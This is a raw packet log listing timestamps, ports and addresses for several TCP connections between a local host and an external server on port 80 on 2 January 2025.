Jan 2, 2025 19:14:17.371253967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371304035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371309042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371321917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371329069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371335030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371354103 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371364117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371371984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371376991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371383905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371392012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371392012 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371398926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371423960 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371504068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371535063 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371555090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371675014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371680975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371685982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371769905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371776104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371783018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371786118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371814013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371825933 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371948957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.373775005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.373811007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.373815060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.373821974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.373831987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.373987913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.373994112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374000072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374027967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374032974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374033928 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374039888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374052048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374058008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374123096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374125004 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374125004 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374125004 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374129057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374135017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374140978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374150038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374155998 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374197006 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374222040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374228001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374249935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374264956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374293089 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374305010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374311924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374315977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374340057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374340057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374386072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374399900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374407053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374418020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374424934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374491930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374491930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374521017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374526978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374532938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374538898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374545097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374550104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374608040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374608040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.374620914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374646902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.374815941 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.375374079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375379086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375416994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375473976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375529051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375534058 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.375535011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375683069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375725985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375730991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375744104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.375807047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.375822067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375829935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375834942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375842094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375847101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375852108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375857115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375864029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375878096 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.375966072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375971079 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.375974894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375983953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375989914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.375996113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376000881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376013041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376019001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376024961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376028061 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.376030922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376038074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376044035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376051903 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.376104116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.376169920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.376219034 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.379828930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379834890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379848957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379858971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379864931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379869938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379875898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379880905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379887104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379893064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379899979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379904985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379910946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379916906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.379936934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380012035 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380284071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380290031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380295992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380424023 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380429983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380435944 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380440950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380446911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380451918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380456924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380461931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380469084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380470037 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380484104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380497932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380502939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380508900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380513906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380518913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380523920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380530119 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380536079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380537987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380537987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380537987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380556107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380562067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380568027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380572081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380597115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380597115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380597115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380629063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380635977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380641937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380650043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380662918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380686045 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380754948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380767107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380774021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380779028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380784988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380790949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380796909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380803108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380808115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380825996 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380855083 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380861044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380865097 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380865097 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380930901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.380934000 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.380939007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381015062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381022930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381027937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381033897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381036043 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.381040096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381052971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381066084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381072044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381078005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381081104 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.381084919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381091118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.381104946 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.381184101 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.382324934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382329941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382335901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382390022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382401943 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.382401943 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.382402897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382412910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382424116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382430077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382536888 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.382586956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382592916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382618904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382654905 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.382685900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382692099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382699013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382704020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382709026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.382716894 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.382747889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.383111000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383116007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383203983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383274078 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.383305073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383316994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383327961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383333921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383339882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383405924 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.383405924 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.383919001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383924007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383985043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383991003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.383996964 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384001970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384007931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384012938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384041071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384041071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384114027 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384134054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384181976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384186983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384222031 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384257078 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384259939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384267092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384273052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384284019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384295940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384316921 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384321928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384327888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384334087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384394884 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384394884 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384399891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384407043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384413958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384428024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384432077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384438038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384473085 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384507895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384514093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384520054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384524107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384529114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384535074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384548903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384556055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384562016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384566069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.384604931 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384604931 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.384629965 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.414975882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.414984941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415117025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415122986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415137053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415143013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415150881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415153980 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.415155888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.415199041 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.415268898 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.431191921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431197882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431205034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431246042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431252956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431258917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431265116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431271076 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431288004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.431344986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431360960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431370020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431385040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.431440115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431447029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431453943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431459904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431466103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.431499004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.431615114 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.432070971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432075977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432082891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432096004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432101965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432107925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432113886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432120085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432152033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.432172060 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.432943106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432949066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432955027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432960987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432966948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432980061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432986975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432991982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.432998896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433003902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433038950 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433099031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433104992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433111906 CET	80	49728	147.45.44.131	192.168.2.6
